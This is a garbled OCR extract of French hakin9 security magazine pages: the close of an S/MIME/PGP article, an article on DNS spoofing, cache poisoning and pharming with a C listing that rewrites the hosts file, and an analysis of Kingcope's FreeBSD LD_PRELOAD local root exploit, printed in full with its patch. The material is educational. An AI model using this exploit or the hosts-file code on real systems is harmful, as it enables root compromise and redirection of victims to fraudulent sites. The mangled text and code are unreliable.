utiliser un certifi cat dans un client de messagerieLa meacutethode la plus simple pour utiliser un certificat SMIME est de limporter dans le client de messagerie Cependant agrave plus grande eacutechelle il est envisageable de mettre en place un passerelle de chiffrement et de signature des mails comme Djigzo Djigzo par exemple permet le chiffrement et la signature automatique des mails par simple ajout dun mot cleacute dans le sujet du mail et sintercale par exemple entre le serveur SMTP inter-ne et lexteacuterieur

Comme indiqueacute preacuteceacutedemment quasiment tout les clients de messageries impleacutementent SMIME nati-vement il suffit donc pour la plupart daller dans les proprieacuteteacutes du compte de messagerie et dimporter le certificat au format PKCS12 Petite variante pour Mac OS avec Mail ou limportation ne se fait pas dans Mail mais dans le keychain access Mail lors de son lan-cement veacuterifie automatiquement sil existe un certifi-cat au nom de ladresse de messagerie dans le ges-

terminologie

bull Un PKI ou IGC est une infrastructure de gestion des cleacutes Autour de cela tournent deux entiteacutes principales Le CA ou autoriteacute de certifi cation a pour mission de signer les CSR et le RA pour Autoriteacute denregistrement soccupe de reacutecupeacuterer les demandes de certifi cats il creacutee le certifi cat pour le faire signer Les autoriteacutes de certifi cations admi-nistrent donc un PKI et mettent agrave disposition leurs servi-ces pour fournir des certifi cats valides dans les clients de messagerie avec lesquels ils ont des accords Note CA dans son utilisation courante deacutesigne lautoriteacute de certifi -cation en tant que fournisseur de service(Globasign add-Trust)

bull OCSP pour Online Certifi cate Statut Protocol est un pro-tocole standardiseacute par lIETF et permet de veacuterifi er la va-liditeacute dun certifi cat en ligne Il permet de compenser le manque de reacuteactiviteacute des listes de reacutevocations(CRL) Un serveur OCSP(aussi appeleacute reacutepondeur) eacutecoute sur le port 80 ce qui permet de fonctionner dans la plupart du tem-ps avec le proxy des entreprises Ainsi nul besoin de com-plexifi er les regravegles de fi ltrage

bull PGPMIME est une eacutevolution du PGP inline ougrave signature et message chiff reacute se trouvent dans le corps du mail PGPMIME permet une meilleure compatibiliteacute de PGP avec le standard MIME notamment avec les types MIMES(mime-types) et le codage Il est donc preacutefeacuterable lorsque cela est possible dutiliser PGPMIME

6201038

Seacutecuriteacute reacuteSeaux

tionnaire de cleacutes Si cest le cas alors des boutons pour chiffrer et signer apparaissent lors de la reacutedac-tion dun message Pour la gestion des webmail et en particulier Gmail il existe un plugin pour Firefox ap-peleacute Gmail SMIME qui fonctionne assez mal pour la signature et qui est incapable de veacuterifier la signature dun mail signeacute

Pour ce qui est de lOCSP il ne faut surtout pas oublier de lactiver si cela est possible Par exemple pour Thunderbird 3 il est activeacute par deacutefaut ce qui nest pas le cas pour le Thunderbird 2 Pour les amateurs de Outlook 2007 il faudra teacuteleacutecharger un plugin pour geacuterer lOCSP

certificat et identiteacute numeacuteriqueTous les certificats sont baseacutes sur la norme de cer-tificat X509 creacutee par lUnion Internationale des Teacuteleacutecommunication(UIT) Les certificats sont principa-lement utiliseacutes pour la seacutecurisation des eacutechanges sur les sites web avec SSLTLS on appelle ccedila des certifi-cats serveurs Les certificats utiliseacutes pour SMIME sont appeleacutes certificats personnels Mais il en existe des diffeacuterents pour drsquoautres utilisations (voir ci-dessous)

Diff eacuterents certifi catsPour une autoriteacute de certification racine donneacutee il peut exister un certains nombres dautoriteacutes intermeacutediaires Ainsi pour un CA racine donneacute on a un CA intermeacutediai-re pour les certificats serveurs un pour les certificats EV (voir Figure 5) un pour la signature de pdf etc

Certains CA proposent cependant des offres pour ecirctre autoriteacute intermeacutediaire mais le prix de ce genre dof-fre deacutepasse largement le budget de la plupart des en-treprises

Ce que lon appelle chaicircne est la succession des si-gnataires dun certificat racine jusquagrave un certificat uti-lisateur final(end-user) qui lui ne peut pas deacutelivrer de certificat

Voici diffeacuterents types de certificats

bull Personnel Pour la signature de mails ou de docu-ments PDF par exemple

bull Serveur Pour permettre les connexions en SSLTLS HTTPS et autres Il existe des sous clas-se de certificats serveurs

bull Wildcard(joker) permet dobtenir un certificat pour les sous-domaines par exemple pour foofr on peut donc avoir un certificat pour smtpfoofr et pour imapfoofr

bull SAN(Subject Alternative Name) ce type de certifi-cat permet dobtenir un certificat pour deux domai-nes diffeacuterents par exemple foofr et fooeu

bull EV(extented validation) reacutepond agrave une normalisation baseacutee sur une veacuterification plus stricte de lidentiteacute du demandeur

bull Note Il est possible drsquoavoir un certificat reacutepondant agrave plusieurs critegraveres et donc davoir par exemple un certificat SAN Wildcard et EV

bull Deacuteveloppeur (Code Signing) Ce type de certificat permet de signer un logiciel Cest pour cette raison que lorsquun logiciel nest pas signeacute avec ce type de certificat sous Windows un message nous indi-que que le logiciel na pas eacuteteacute signeacute et quil est dori-gine inconnue

les classes de certifi cats personnelsIl existe une classification dans le niveau de confian-ce dun certificat personnel Celle-ci est diviseacutee en plu-sieurs classes que voici

bull Classe 1 Seule ladresse mail du demandeur est veacuterifieacutee Cest plus un identifiant digital (Digital ID) quun systegraveme dauthentification du proprieacutetaire Les certificats de classe 1 sont dailleurs pour la plupart signeacutes de maniegravere automatique ce qui expli-que la rapiditeacute dobtention

bull Classe 2 Veacuterification mail et piegraveces didentiteacute Sa-chant quil existe aussi des sous-cateacutegories person-nel (veacuterification papiers didentiteacute) ou entreprise (veacuteri-fication papiers didentiteacute et appartenance agrave lentrepri-se)

bull Classe 3 Comme la classe 2 mais avec veacuterification de lidentiteacute en face agrave face

bull Classe 3+ Comme la classe 3 mais avec remise du certificat sur support physique

bull Attention ce classement ne correspond agrave aucune norme il peut tout agrave fait varier dune autoriteacute de cer-tification agrave lautre qui pourra par exemple deman-der des piegraveces didentiteacutes mecircme pour un certificat de classe 1 Ces classes permettent juste de mieux distinguer le niveau dauthenticiteacute dun certificat

la valeur juridiquePour ce qui concerne laspect juridique le caractegravere deacute-centraliseacute de PGP rend la valeur des cleacutes nulles En

Sur internet

bull httppgpmitedu ndash Adresse du serveur de cleacute PGP du MIT

bull httpwwwpgpiorg ndash Site international de PGPbull httpwwwgnupgorg ndash Site du GnuPG bull httpwwwdjigzocomindexhtml ndash Site web de la pas-

serelle de chiff rement Djigzobull httpwwwchambersignfrindexjsp ndash Site web dun CA

Franccedilais reconnu par leacutetatbull httpwwwgpg4winorg ndash Site web du projet GPG4Winbull httpwwwlinuxcertifcomman1gpg ndash Manuel de GPG

en Franccedilaisbull httpfrwikipediaorgwikiPublic_Key_Cryptographic_

Standards ndash Diff eacuterents formats PKCSbull httpwwwtelecomgouvfrrubriques-menuentreprises-

economie-numeriquecertifi cats-references-pris-v1catego-ries-familles-certifi cats-references-pris-v-1-506html ndash Au-toriteacutes de certifi cation agreacutees par leacutetat Franccedilais

hakin9orgfr 39

effet la creacuteation des cleacutes eacutetabli un lien entre ladresse mail la cleacute et les autres cleacutes mais nullement avec la personne physique

En ce qui concerne SMIME cest un peu plus com-pliqueacute car les certificats repreacutesentent lactiviteacute com-merciale des autoriteacutes de certification cest donc un service de confiance quelles offrent De plus selon la loi du 13 Mars 2000 la signature eacutelectronique agrave la mecircme valeur quune signature manuscrite Ce-pendant tout deacutepend du certificat qui produit cette signature En pratique seul les classes 3+ sont re-connus par leacutetat et que ceux signeacutes par des autoriteacutes agreacutees(voir lien)

De plus des certificats reconnus par leacutetat commen-cent tregraves largement agrave se reacutepandre (teacuteleacute-deacuteclaration dimpocircts teacuteleacute-carte grise) Chaque certificat authentifie donc le proprieacutetaire dans le cadre de la proceacutedure pour laquelle il a eacuteteacute deacutelivreacute Il nest ainsi pas permis de si-gner des mails personnels avec ce type de certificat

conclusion PGP ou SMiMeLes mails que lon envoie sont donc proteacutegeacutes des regards indiscrets et sont de plus identifieacutes pour le destinataire eacutevitant ainsi le piegravege du mail spoofing En terme dapplication de maniegravere plus geacuteneacuterale si des socieacuteteacute comme Ebay et Paypal signaient numeacuteri-quement leurs mails le phishing ne ferait pas autant de deacutegats Le fait est que les certificats serveurs sont bien mieux connus et impleacutementeacutes Pour revenir agrave PGP et SMIME et dun point de vu strictement per-sonnel entre personnes initieacutees il est largement preacute-feacuterable dutiliser PGP pour des raisons de modulari-teacutes A linverse dans des situations plus officielles il est preacutefeacuterable dutiliser SMIME dautant quil est plus facile daccegraves plus rapide agrave mettre en place et ne neacute-cessite tregraves peu dadministration Sauf lorsquil faut le renouveler car les certificats nexcegravede rarement 3 ans en dureacutee de validiteacute Bien entendu dans le cas de teacuteleacuteTVA et autres il est neacutecessaire dutiliser le cer-tificat adapteacute et uniquement pour la tacircche qui lui est destineacutee

Agrave ProPoS De lauteurSuite a un DUT informatique agrave Grenoble et un court pas-sage agrave lInstitut Laue-Langevin lauteur eacutetudie actuellement linformatique agrave luniversiteacute de Napier en Eacutecosse Passion-neacute dinformatique depuis longtemps il sinteacuteresse tout par-ticuliegraverement au reacuteseau et agrave larchitecture systegraveme plus speacute-cialement agrave Linux et BSD

6201040

AttAque

Le DNS a eacuteteacute inventeacute par Paul Mockapetris en 1983 Ce service est agrave la base dinternet et per-met de reacutealiser une correspondance entre nom de

domaine et adresse IP Malheureusement ce service comporte de nom-

breuses faiblesses susceptibles decirctre utiliseacutees une personne mal intentionneacutee

Ces vulneacuterabiliteacutes permettent de faire du phishing (hammeccedilonnage faire croire agrave tort agrave la victime quelle est sur un site fiable) mass-infection via des 0-days etc

Nous preacutesenterons dans un premier temps les bases du protocole DNS son fonctionnement

Puis nous nous inteacuteresserons aux attaques possibles sur le protocole DNS avant deacutevaluer les services et techniques de preacutevention

Le protocole DNSUn DNS Domain Name Server permet dassigner un nom de domaine agrave une adresse IP

En raison du nombre exponentiel de machines preacutesentes sur la toile il est difficile de se souvenir de toutes les adresses IP correspondant agrave chacune des machines Les noms de domaines ont eacuteteacute mis en place et permettent de pointer sur une machine speacutecifique

Ces meacutecanisme et protocole sont agrave la base de linter-net Sans cela il nexisterait pas

Le protocole DNS est un protocole ayant une certaine hieacuterarchie

A la base il y a la racine (root) ougrave commence toutes les branches

Les premiegraveres branches sont les domaines de haut niveau agrave savoir com net org

De chacun des noeuds se deacutegagent de nouvelles branches qui correspondent agrave de nouveaux eacuteleacutements

Si nous prenons le cas de Hakin9org une branche sortira de org et aura pour nom Hakin9 car le do-maine de haut niveau org a autoriteacute sur hakin9org

Regardons une image pour mieux comprendre(cf Figure 2)

Prenons le cas de hakin9 ladresse IP 79125436 est assigneacutee au nom de domaine hakin9org

Ce meacutecanisme peut ecirctre reacutealiseacute dans les deux sens

bull reacutecupeacuterer ladresse IP auquel a eacuteteacute assigneacute un nom de domaine

bull Reacutecupeacuterer le nom de domaine agrave partir dune adres-se IP speacutecifique (Reverse DNS)

De nombreux enregistrements sont obtenus agrave partir dune requecircte DNS que nous allons preacutesenter dans cet article

bull A record lenregistrement primaire qui fait corres-pondre un nom de domaine agrave une adresse IP ex hakin9org gtgt 79125436

bull MX record celui-ci deacutefinit les diffeacuterents serveurs de mails pour un domaine en particulier

bull PTR record Il associe une adresse IP agrave un nom de domaine speacutecifique Cest ce dernier qui avait

Les attaques DNS

Bref reacutesumeacute cet article permettra de sinteacuteresser aux diffeacuterentes attaques exploitables sur le protocole DNS dont deux principales techniques fondeacutees sur le DNS Spoofing agrave savoir le DNS ID Spoofing et le DNS Cache Poisoning Nous nous inteacuteresserons ensuite au DNS Pharming qui est un deacuteriveacute du Phishing

Cet article explique bull le principe des attaques possibles sur le protocole DNS Dans

un second temps nous nous inteacuteresserons aux moyens mis en place pour eacuteviter les risques et preacutevenir les utilisateurs

Ce quil faut savoir bull certaines notions sur le protocole DNS et le reacuteseau en regravegle

geacuteneacuterale mais aussi sur le Web en geacuteneacuteral et en C

Paul Amar

Les attaques DNS

hakin9orgfr 41

Le DNS ID SpoofingPrenons le cas de figure suivant

Une machine A souhaite communiquer avec une ma-chine B La machine A a besoin de ladresse IP de B pour commencer la communication Or si elle ne la connaicirct pas elle utilisera le protocole DNS pour lobtenir

La machine A eacutemettra vers un serveur DNS une re-quecircte demandant ladresse IP de la machine B

Pour identifier cette requecircte parmi toutes celles que le serveur DNS reccediloit un numeacutero didentification (champ fourni dans len-tecircte que nous avons vu plus haut) lui est assigneacute

Le serveur DNS apregraves avoir reacutealiseacute le travail de-mandeacute renvoie la reacuteponse avec le mecircme numeacutero didentification

Le problegraveme est quun pirate pourrait usurper le travail du serveur DNS en faisant rediriger la victime vers une adresse IP preacutealablement choisie

De nombreuses meacutethodes permettent agrave reacutecupeacuterer ce fameux numeacutero didentification comme

bull eacutecoute du reacuteseaubull utilisation dune faille dans un des systegravemes dex-

ploitationbull utilisation dune faille dun serveur DNS

La seule condition est que le pirate renvoie la reacuteponse avant le serveur

Agrave cette fin il dispose de nombreuses pratiques comme faire un DoS sur le serveur DNS cible pour eacuteviter quil reacuteponde Cela lui laisse ainsi tout le temps

eacuteteacute peacutesenteacute plus haut avec le Reverse DNS dont le meacutecanisme peut ecirctre reacutealiseacute dans les deux sens

bull Etc

Le port utiliseacute pour lenvoi de donneacutees en UDPTCP est le 53

Les principaux services utiliseacutes sont ceux qui eacutechan-gement des informations avec les enregistrements de ressources ou autrement dits les Ressource records (RR)

De nombreuses informations sont contenues dans len-tecircte correspondant aux RR (Ressource Records) comme

bull un numeacutero didentification est neacutecessaire pour dis-tinguer toutes les requecirctes DNS que le serveur re-ccediloit Cet identifiant est ensuite reacute-utiliseacute pour le ren-voi de la reacuteponse

Maintenant que nous avons vu certaines speacuteficiciteacutes du protocole DNS nous allons nous inteacuteresser aux dif-feacuterentes attaques possibles sur ce protocole

Le DNS SpoofingDeux principaux types dattaque reacutealisables relegravevent tous les deux du terme DNS Spoofing

Nous allons voir deux types dattaques le DNS ID Spoofing et le DNS Cache Poisoning

Parallegravelement nous allons traiter du pheacutenomegravene DNS Pharming qui relegraveve dune attaque DNS Cache Poisonning

Figure 1 Meacutecanismes DNS

Requecircte DNS pour le serveur website com

Jean Renvoie des informations concernant websitecom avec son IP ex 1222101

Jean se connecte agrave websitecom agrave partir de son adresse IP

Meacutecanisme reacutealiseacute par le service de DNS pour les diffeacuterentes informations

Websitecom

Serveur DNS

6201042

AttAque

de forger un paquet speacutecifique et ainsi lenvoyer agrave la victime

Lors de la reacuteception la victime pensera que le serveur DNS leacutegitime lui a renvoyeacute la reacuteponse et sera redirigeacutee vers un site frauduleux

Cette utilisation peut avoir des effets deacutevastateurs comme renvoyer vers un site qui propage un virus ren-voie sur une page de phishing hellip

Le DNS Cache PoisoningDe base un serveur DNS na des informations que pour les machines du domaine sur lequel il a autoriteacute Autre-ment dit il na pas stockeacute les informations relatives agrave dautres domaines

Si une machine A souhaite communiquer avec une machine B dun autre domaine le serveur DNS qui a autoriteacute sur la machine A contacte le serveur DNS qui a autoriteacute sur la machine B etc

Pour eacuteviter de saturer le reacuteseau il est preacutefeacuterable de garder en meacutemoire ces informations

Degraves lors si une autre machine demande agrave contacter la machine B elle pourra reacute-utiliser les informations contenues dans le cache du serveur DNS

Lattaque de DNS Cache Poisoning consiste agrave faire en sorte de corrompre ce fameux cache en inseacuterant des donneacutees voulues par le pirate

Pour que cela fonctionne il faut que le pirate ait le controcircle dun nom de domaine prenons fakecom ainsi

que le serveur DNS correspondant ayant autoriteacute sur celui-ci nsfakecom

Le pirate envoie ainsi une requecircte vers le serveur DNS cible (celui utiliseacute par la victime)

Il fait en sorte de demander la reacutesolution du nom dune machine affilieacutee au domaine fakecom

Le serveur DNS cible envoie les informations au serveur DNS du pirate (nsfakecom) qui quant agrave lui envoie les informations correspondant agrave sa demande ainsi que dautres informations compleacutementaires Ces derniegraveres auront juste pour effet de corrompre le cache du serveur DNS cible

Nous pourrions imaginer un sceacutenario ougrave le pirate cherche agrave rediriger des utilisateurs dune banque vers un site falsifieacute pour reacutecupeacuterer leurs informations person-nelles

Le laquo Pharming raquoLe pharming est une technique utiliseacutee par les pirates informatiques exploitant des vulneacuterabiliteacutes DNS

Le but est le mecircme que les attaques preacuteceacutedentes deacutetourner sa victime sur un site frauduleux en le faisant passer pour le veacuteritable

Deux types de laquo pharming raquo peuvent ecirctre mis en place

bull Le pharming local consiste agrave modifier le fichier hosts de la machine Ce fichier permet de rajouter des en-

Figure 2 hieacuterarchie du protocole DNS

Root Servers

orgcomfr

Hakin9

Les attaques DNS

hakin9orgfr 43

treacutees nom de domaine et adresse IP et il est lun des acteurs majeurs dans la navigation internet

bull Rajouter la ligne laquo 20985229104 hakin9org raquo redirigera tous les utilisateurs vers Google sils sou-haitent aller sur le site hakin9org

bull Le fait de modifier en local le fichier hosts nagit que sur les personnes utilisant le poste affecteacute Ce type de pharming ne peut pas se reacutepercuter sur dautres ordinateurs (cf Listing 1)

Lautre type possible est de compromettre le serveur DNS dont deacutepend la victime

bull Le nom est diffeacuterent mais correspond au DNS Cache Poisoning Lattaque consiste agrave alteacuterer son contenu en inseacuterant de fausses informations Degraves lors si un utilisateur recherche un certain nom de domaine compromis il se retrouvera sur un site fal-sifieacute

Figure 3 DNS ID Spoofing

La victime envoie une requecircte DNSpour savoir quelle est lIP de

mabanquecom

Le pirate eacutecoute le traffic et envoie avant le

serveur une reacuteponse DNSavec le mecircme iD

Victime

Le serveur reacutepons maismalheureusement trop tard

Figure 4 Cache Poising

Victime

La victime envoie une requecircte DNSpour savoir quelle est lIP de

mabanquecom Le pirate envoie de nombreuses donneacutees pour empoisonnser le cache DNSdu serveur cible infectant

ainsi toutes les requecirctes despcs qui utiliseront ce serveur

DNS

Pirate

Serveur CacheDNS

Le serveur DNS reacutepond via le cache emposonneacute par le pirate

6201044

AttAque

Le laquo Drive-by-pharming raquo technique en vogue de-puis de nombreuses anneacutees Cette derniegravere consiste agrave amener un internaute agrave exeacutecuter un script (souvent JavaScript) malveillant qui va modifier la configuration de son routeur personnel Il faut savoir que la plupart du temps le routeur personnel nest accessible quen LAN (agrave savoir seulement les personnes faisant par-tie du reacuteseau local accegravedent agrave linterface du routeur) et non en WAN (accessible agrave partir de la toile-mecircme cela signifie quun attaquant peut prendre le controcircle dun routeur situeacute aux Etats-Unis depuis la Russie) Le pirate utilisera linternaute comme intermeacutediaire dans son attaque pour faire en sorte quil modifie lui-mecircme les paramegravetres de sa box Ce type dattaque se reacutealise gracircce agrave des vulneacuterabiliteacutes de type CSRF (Cross Site Request Forgeries) qui ne sont autres que des formu-laires preacute-remplis exeacutecuteacutes lors du chargement de la page malicieuse Dapregraves une eacutetude de Symantec sur ce domaine 95 des utilisateurs agrave la laquo maison raquo auto-risent lexeacutecution du JavaScript dans leurs fureteurs in-ternet

Degraves lors il est possible de maniegravere transparente de changer certains paramegravetres afin de rediriger ses victimes vers des sites frauduleux

Solutions contre ces abusPour eacuteviter les problegravemes de DNS Spoofing plusieurs deacutemarches peuvent ecirctre reacutealiseacutees comme

bull Mettre agrave jour les serveurs DNS (cela permet par exemple deacuteviter des failles permettant le controcircle de ces serveurs DNS et ainsi preacutedire les numeacuteros de seacutequence correspondants)

bull Limiter le cache du serveur DNS et faire en sorte quil nenregistre pas dans sa base de donneacutees les enregistrements additionnels

bull Utiliser de la cryptographie comme SSL cela rend la vie plus difficile au pirate

bull Dans linfrastructure dune entreprise une alterna-tive serait lutilisation de deux serveurs DNS dis-tincts Lun serait accessible depuis la toile et reacute-pondrait aux demandes quil recevrait Dun autre cocircteacute un serveur DNS Interne offrirait ses servi-ces aux ordinateurs internes Les transactions quaurait ce dernier serveur DNS seraient par exemple avec les serveurs laquo racines raquo (root ser-vers) qui repreacutesentent la base de linternet Degraves lors nous pourrions plus ou moins les consideacuterer de laquo confiance raquo

Il existe en tout 13 serveurs racine du DNS situeacutes un peu partout dans le monde

Depuis peu ces 13 serveurs sont tous passeacutes agrave DNS-SEC (Domain Name System Security Extensions)

Ce protocole standardiseacute permet avant tout

bull la seacutecurisation des transactions DNS

Figure 5 changement de certains paramegravetres pour rediriger la victime vers des sites frauduleux

Victime

Site malicieurxcom

La victime va pour acceacuteder agrave un site

malicieux

Le site malicieux renvoie du code qui va faire des changements

sur sa box

Routeur de la victime accessible quagrave partir du LAN

Les attaques DNS

hakin9orgfr 45

bull la seacutecurisation des informations contenues dans les messages DNS

bull Stockage et distribution des cleacutes neacutecessaires au bon fonctionnement

Avant tout DNSSEC sappuie sur des signatures cryp-tographiques qui permettent de laquo signer raquo les inscrip-tions DNS actuelles

Cela permet de deacutetecter deacuteventuelles fraudes et ainsi eacuteviter agrave une victime decirctre pieacutegeacutee Cela ressemble agrave un gage de qualiteacute permettant de garantir que toutes les in-formations reccedilues sont effectivement celles demaneacutees

Le meacutecanisme utiliseacute est une geacuteneacuteration dune paire de codes

bull une cleacute priveacutee la cleacute priveacutee ne doit en aucun cas ecirctre divulgueacutee et ecirctre gardeacutee en seacutecuriteacute pour eacutevi-ter de casser la laquo chaine de confiance raquo mise en place Cette derniegravere reste chez le proprieacutetaire

bull une cleacute publique la cleacute publique est disponible pour tout le monde et est preacutesente dans chaque laquo DNSKEY record raquo Un laquo DNSKEY record raquo per-met de veacuterifier quil ne sagit pas dun site contrefait en veacuterifiant les signatures DNSSEC

bull Les donneacutees contenues dans chaque enregistre-ment laquo DNSKEY raquo sont les suivantes

bull Drapeaux (laquo Flags raquo) laquo Zone key raquo pour toutes les cleacutes DNSSEC et laquo Secure Entry Point raquo pour les cleacutes signant dautres cleacutes ou des cleacutes dites laquo simples raquo

bull Protocole la valeur est fixeacutee agrave 3 pour assurer la compatibiliteacute avec les versions preacuteceacutedentes

bull Algorithme lalgorithme utiliseacute par la cleacute publique bull Cleacute publique la cleacute publique en tant que telle

ConclusionGracircce aux diffeacuterentes avanceacutees technologiques dans ce domaine les risques sont plus ou moins diminueacutes Heureusement car ce protocole est lun des plus impor-tants agrave ce jour

Parallegravelement une infrastructure toucheacutee par une attaque au niveau du DNS est terriblement compromise car elle peut avoir de terribles reacutepercutions sur ses usa-gers

Une socieacuteteacute peut ecirctre entiegraverement laquo mise sur le car-reau raquo car sans les services offerts par le protocole DNS son activiteacute risque de cesser

Si cet article vous a inteacuteresseacute nheacutesitez pas agrave lire dautres articles comme par exemple la preacutesentation de Dan Kaminsky sur une faille concernant le laquo snoo-ping raquo du cache DNS de 2008

Listing 1 Code C pour Pharming local

ltcode C pour du Pharming en localgt

include ltstdlibhgt

include ltstdiohgt

int main(void)

FILE pharming = NULL

pharming = fopen(SYSTEMROOTsystem32drivers

etchosts a)

if (pharming = NULL)

fputs(20985229104 hakin9org

pharming)

fclose(pharming)

else

printf(Erreur au niveau de louverture

du fi chier Hosts)

return EXIT_SUCCESS

ltcodegt

Annexes

bull httpfrwikipediaorgwikiDomain_Name_System Article de Wikipeacutedia sur le protocole DNS

bull httpfrwikipediaorgwikiDomain_Name_System_Security_Extensions Article de Wikipeacutedia sur DNSSEC

bull httpwwwauthsecucombrute-force-dnsbrute-force-dnsphp Article qui traite de la brute-force des noms de do-maines

bull httpunixwiznettechtipsiguide-kaminsky-dns-vulnhtml Un guide illustreacute sur la faille DNS de Dan Kaminsky durant leacuteteacute 2008

bull httpwwwsecuriteinfocomattaqueshackingdnsspoofi ngshtml Article inteacuteressant sur le DNS Spoofi ng (incluant les deux attaques preacutesenteacutees dans larticle)

bull httpfrwikipediaorgwikiPharming Article de Wikipeacutedia sur le Pharming

A PROPOS De LAuteuR Lauteur est actuellement eacutetudiant en DUT Informatique lIUT de Fontainebleau Il sinteacuteresse de tregraves pregraves agrave tout ce qui a trait agrave la seacutecuriteacute in-formatique a n de comprendre les problegravemes associeacutes Il aimerait par la suite continuer ses eacutetudes dans une eacutecole dingeacutenieur

6201046

Focus

Le full disclosure (ou le fait de divulguer publique-ment les problegravemes de seacutecuriteacute ou les exploits) est quelque chose de primordial chez les pas-

sionneacutes de seacutecuriteacute informatique Il permet (entre autre) a chacun de pouvoir eacutetudier

les problegravemes deacutecouvert par dautre personne de com-prendre leurs fonctionnement et de seacutecuriser ses pro-pres codes

Lexemple de lexploit eacutetudieacute dans cet article est tregraves formateur sans demander une tregraves forte connaissance du systegraveme ou du C

Fonctionnement de LD_PRELoAD Il existe une variable denvironnement sous UNIX qui sappelle LD_PRELOAD Cette variable permet dinter-caler une librairie pour quelle soit prioritaire agrave celles de lOS Pour exemple nous allons utiliser le listing 1 qui permet simplement dafficher le PID du processus cou-rant

Voici le reacutesultat apregraves compilation

$ gcc listing1c -o listing1

$ listing1

pid 1423

A preacutesent nous allons creacuteer notre propre librairie getpid() qui retournera systeacutematiquement 31337 Le code est disponible au listing2 La compilation est un peu particulier afin de creacuteer une librairie parta-geacutee

$ gcc -fPIC -shared -o listing2so listing2c

A preacutesent nous avons un binaire qui utilise getpid() et une librairie partageacutee getpid() eacutegalement Voici com-ment fonctionne LD_PRELOAD pour utiliser en priori-teacute notre librairie et non pas celle de lOS

$ export LD_PRELOAD=listing2so

$ listing1

pid 31447

Nous voyons que listing1 utilise agrave preacutesent notre pro-pre librairie Cette astuce est tregraves utile pour debugger Il existe une fonction particuliegravere _ init() qui est lanceacute degraves lexeacutecution du main Et qui permet de ne pas cibler une fonction speacutecifique

Il y a toutefois une limitation a cette fonctionnaliteacute il nest pas possible dutiliser LD_PRELOAD sur un bi-naire suid La premiegravere chose que fait FreeBSD lors de lexeacutecution dun binaire suid est de vider cette variable Il fait ccedila par seacutecuriteacute pour eacuteviter dexeacutecuter du code ar-bitraire en temps que root via notre librairie Cest a ce niveau que va agir notre exploit

Analyse de lexploitPour commencer nous pouvons contempler lexploit au listing 3

Nous pouvons voir que cest en faite un script qui com-pile un binaire env et une librairie w00tso10 Nous pou-vons voir assez facilement que LD_PRELOAD est mis

Exploit ndash Local root FreeBsD via LD_PRELoAD

FreeBSD est souvent preacutesenteacute comme un OS agrave la seacutecuriteacute robuste Malgreacute cette reacuteputation un exploit a eacuteteacute divulgueacute fin novembre sur la mailing list Full Disclosure par Kingcope Dans cet article nous eacutetudierons cet exploit et le patch proposeacute par lrsquoeacutequipe de mainteneur FreeBSD apregraves avoir compris LD_PRELOAD

cet article expliquebull Comment fonctionne un exploit utilisant un bug LD_PRELOAD

sous FreeBSD

ce quil faut savoirbull Langage C des notions de systegraveme UNIX sont preacutefeacuterable

Paul Rascagnegraveres

Exploit ndash Local root FreeBsD via LD_PRELoAD

hakin9orgfr 47

comment FreeBsD vide la variable LD_PRELoAD Le listing 4 montre le morceau de code qui lance la pur-ge de certaines variables en cas de bit suid

en place juste avant de lancer la commande ping qui dispose dun bit suid Normalement la variable devrait donc ecirctre videacute par lOS Voyons comment FreeBSD vi-de cette variable

Listing 1 Source permettant dafficher le PID du processus en cours

include ltstdiohgt

int main()

printf(pid ungetpid())

return(0)

Listing 2 Librairie getpid() retournant systematiquement 31337

include ltstdiohgt

include ltsystypeshgt

pid_t getpid(void)

return(31337)

Listing 3 Exploit posteacute par Kingcope

binsh

echo FreeBSD local r00t zeroday

echo by Kingcope

echo November 2009

cat gt envc ltlt _EOF

include ltstdiohgt

main()

extern char environ

environ = (char)malloc(8096)

environ[0] = (char)malloc(1024)

environ[1] = (char)malloc(1024)

strcpy(environ[1] LD_PRELOAD=tmpw00t

so10)

execl(sbinping ping 0)

_EOF

gcc envc -o env

cat gt programc ltlt _EOF

include ltunistdhgt

include ltstdiohgt

include ltsystypeshgt

include ltstdlibhgt

void _init()

extern char environ

environ=NULL

system(echo ALEX-ALEXbinsh)

_EOF

gcc -o programo -c programc -fPIC

gcc -shared -Wl-sonamew00tso1 -o w00tso10

programo -nostartfiles

cp w00tso10 tmpw00tso10

env

Listing 4 fonction ou sont purgeacute certaines variables en cas de bit suid

func_ptr_type

_rtld(Elf_Addr sp func_ptr_type exit_proc Obj_

Entry objp)

trust = issetugid()

If the process is tainted then we un-set the

dangerous environment

variables The process will be marked as

tainted until setuid(2)

is called If any child process calls

setuid(2) we do not want any

future processes to honor the potentially un-

safe variables

if (trust)

unsetenv(LD_ PRELOAD)

unsetenv(LD_ LIBMAP)

unsetenv(LD_ LIBRARY_PATH)

unsetenv(LD_ LIBMAP_DISABLE)

unsetenv(LD_ DEBUG)

unsetenv(LD_ ELF_HINTS_PATH)

Return the exit procedure and the program entry

point

exit_proc = rtld_exit

objp = obj_main

return (func_ptr_type) obj_main-gtentry

6201048

Focus

Nous pouvons voir la fonction unsetenv() qui comme il est facile de le deviner permet dunset une variable denvironnement passeacutee en argument Cette fonction est retranscrite au listing 5

Cette fonction meacuterite une attention toute particuliegrave-re et une petite explication En premier lieu elle veacuterifie que le nom de la variable nest pas mal formeacutee En-suite deux fonctions __merge_environ() et __build_env() permettent de creacuteer un tableau contenant lenvironne-ment Pour finir elle supprime la variable via la fonction __remove_putenv() Le listing 6 montre le code de la fonc-tion __merge_environ()

Nous voyons que si il manque un laquo = raquo dans lune des variables denvironnement la fonction sort en -1 ce qui a pour incidence de ne jamais lancer la fonc-tion __remove_putenv() car unsetenv() sort laquo brutale-ment raquo Cest ce qui se passe dans notre cas La pre-miegravere variable denvironnement setteacute par lexploit est vide Mais le principal problegraveme est quil ny a pas de controcircle du code de retour de la fonction unsetenv()

Et donc notre binaire sexeacutecute avec la variable LD_PRELOAD Nous pouvons donc exeacutecuter nimporte quelle librairie arbitraire en tant que root via un bi-naire suid

Patch fournie par FreeBsDLe patch est des plus simple il consiste simplement a controcircler le code de retour dunsetenv() et a sortir en erreur en stoppant lexeacutecution du binaire Le listing 7 montre le patch

conclusionNous avons pu voir avec quelle faciliteacute Kingcope agrave reacuteussi agrave exeacutecuter du code en root Il est primordial de toujours veacuterifier les codes de retour des fonctions afin de valider que tout cest correctement passeacute comme nous le souhaitions Il est aussi important de noter que cette vulneacuterabiliteacute existe sous FreeBSD depuis de nombreuses anneacutees et que peut ecirctre certaines personnes ont exploiteacutes cette faille tout ce temps

Listing 5 fonction unsetenv() du fichier srcliblibcstdlibgetenvc

Unset variable with the same name by flagging it as inactive No variable is

ever freed

int

unsetenv(const char name)

int envNdx

size_t nameLen

Check for malformed name

if (name == NULL || (nameLen = __strleneq(name)) == 0)

